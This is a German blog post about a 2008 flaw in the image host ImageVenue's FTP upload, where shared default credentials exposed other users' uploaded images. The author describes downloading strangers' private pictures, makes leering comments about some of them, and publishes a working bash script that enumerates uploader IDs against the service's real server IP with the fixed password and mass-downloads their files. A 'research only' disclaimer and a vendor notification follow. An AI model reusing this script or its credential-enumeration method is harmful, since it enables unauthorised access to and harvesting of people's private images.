Geheime Bilder runterladen

Ich dachte ja, dass mittlerweile allseits bekannt sei, dass Sicherheit eine wichtige Sache ist. Allerortens im Netz wird an der Sicherheitsschraube gedreht, Updates werden eingespielt, Webauftritte und Funktionen auf Websites werden überarbeitet, und generell wird das Netz immer sicherer – von kleinen Ausnahmen mal abgesehen.

Eine solche – nicht unbedingt kleine – Ausnahme stellt ImageVenue dar. Aber wer bei ImageVenue Bilder hoch läd, ist ja sowieso schon einiges gewöhnt, seien es Trojaner, falsche Bilder, Pornowerbung um die Bilder herum, oder das Problem, das die Bilder zwar angezeigt werden, aber gelegendlich nicht speicherbar sind.

Aber neulich ging es bei denen völlig rund!

ImageVenue hat in den Letzten Wochen die FTP-Upload-Funktion überarbeitet und laut Aussage auf der Website sicherer gemacht. Zeit für mich also – da ich sowieso was hochladen wollte – das Ganze mal zu testen. Also auf den Button geklickt, Username generiert bekommen, und die Verbindungsdaten alle in mein FTP-Tool gehämmert, jetzt noch in „/upload“ gewechselt und die Bilder hochge-… Ja, ne, nichts hochgeladen, da WAREN schon Bilder!

Irgendwas muss da schiefgelaufen sein. Der Username muss schon mal verwendet worden sein, denn von mir kamen die Bilder nicht. Testweise mal ein Bild runtergeladen, hätte ja sein können, dass zumindest das per FTP-Einstellungen auf dem Server verboten worden wäre, aber nein, nichts da, ich konnte das Bild Problemlos runterladen.

Hallo uploader100147, wir haben die selbe Nummer …

Da ich ein kleiner Freak bin, habe ich gleich mal vorsorglich alle Bilder von uploader100147 runtergeladen (btw.: Bist echt sexy, meld’ dich doch mal, wenn du das hier lesen solltest *g*). Meinen eigenen Upload habe ich da natürlich nicht gemacht, hatte aber auch gleich ganz anderes im Kopf.

uploader000145 zum Beispiel, der hat die Bilder von Lindsay Lohan hochgeladen, auf denen sie versuchte, Marilyn Monroes letzte Fotostrecke nachzustellen. Und uploader100000 (den gibt es wirklich *g*) hat Bilder eines großbusigen Models hochgeladen.

Es scheint also tatsächlich so zu sein, dass bei vielen Usern die Bilder nach dem FTP-Upload nicht vom System gelöscht wurden (sie werden ja nach dem Hochladen bearbeitet und in die Darstellungs-Struktur übertragen), sonder nach-wie-vor über FTP abrufbar sind.

uploader100010 (als Dezimalzahl: 66 *g*) steht auf Met-Art

Weitere Tests ergaben, dass noch mehr „alte Dateien“ so verfügbar sind. Da ich – wie schon angesprochen – ein kleiner Freak bin, habe ich es mir nicht nehmen lassen, und habe ein Bash-Script geschrieben, das alle übergebenen IDs überprüft, und gegebenenfalls vorhandene Bilder runterläd. Das Script ist etwas buggy (auch wenn keine Bilder da sind, wird ein Verzeichnis erstellt, wenn die Uploader-Nummer verfügbar ist), und hat keinerlei Fehlerüberprüfung, funktioniert aber.

#!/bin/bash
# ImageVenue Download
 
function process {
echo -ne "Probiere $1 ... "
wget --ftp-user=uploader${1} --ftp-password=imageupload \
     --delete-after --quiet ftp://85.17.60.91
if [ $? == 0 ]; then
  rm -f "index.html"
  echo -ne "OK\nLade von ${1} ... "
  mkdir "uploader${1}"
  wget --ftp-user=uploader${1} --ftp-password=imageupload \
       --recursive --level=2 --user-agent="Firefox" \
       --directory-prefix="./uploader${1}" --no-host-directories \
       --cut-dirs=10 --quiet ftp://85.17.60.91
  if [ $? == 0 ]; then
    echo "OK "
  else
    echo "FEHLER "
  fi
else
 echo "FEHLER "
fi
}
while [ "$1" ]; do
  process "$1"
  shift
done

Der Aufruf des Scriptes lautet „./script N“, wobei „N“ eine beliebige Anzahl von Uploader-IDs sein kann, um die Bilder von uploader100010 und uploader100147 zu bekommen also „./script 100010 100147“. Wobei bei mir 100010 reichen würde, da mir 100147 von ImageVenue selbst vorgeschlagen wurde :)

Das Script ist selbstverständlich nur für Forschungszwecke einzusetzen, und darf darüber hinaus nicht weiter verwendet werden. Bei den Bildern, die man damit bekommen kann, wenn man das Script tatsächlich einsetzt – was ich hier an dieser Stelle mal nicht gutheiße! – sind natürlich Perönlichkeits- und Urheberrechte zu beachten.

Über diesen Fehler habe ich ImageVenue am 29. Februar 2008 um 10:32 Uhr informiert. Ich bekam am selben Tag um 13:46 Uhr eine Antwort, dass dieses Problem bekannt sei, und durch einen seit Wochen bekannten Fehler verursacht wurde („there was a bug a few weeks ago“).

Dear ImageVenue: You should fix this as soon as possible!

Einen Kommentar hinterlassen